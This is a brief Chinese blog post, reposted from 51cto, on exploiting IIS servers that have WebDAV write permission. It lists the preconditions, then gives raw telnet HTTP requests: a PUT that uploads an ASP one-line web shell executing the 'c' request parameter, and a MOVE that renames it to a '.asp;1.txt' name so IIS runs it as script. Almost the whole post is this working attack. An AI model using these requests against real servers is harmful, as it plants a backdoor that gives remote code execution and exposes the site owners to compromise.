iis写权限利用

 前提：1.目标可写，开启了脚本资源访问，服务器扩展，允许webdav

1.telnet IP port，然后复制下面输入到控制台，回车：

1. PUT /test.txt HTTP/1.1 
2. HOST: 127.0.0.1 
3. Content-Length: 27 
4.  
5. <% execute request("c")%> 

2.telnet IP port，然后复制下面输入到控制台，回车：

1. MOVE /test.txt HTTP/1.1 
2. Host: 127.0.0.1 
3. Destination: http://127.0.0.1/test.asp;1.txt 

转载于:https://blog.51cto.com/venglu/1185113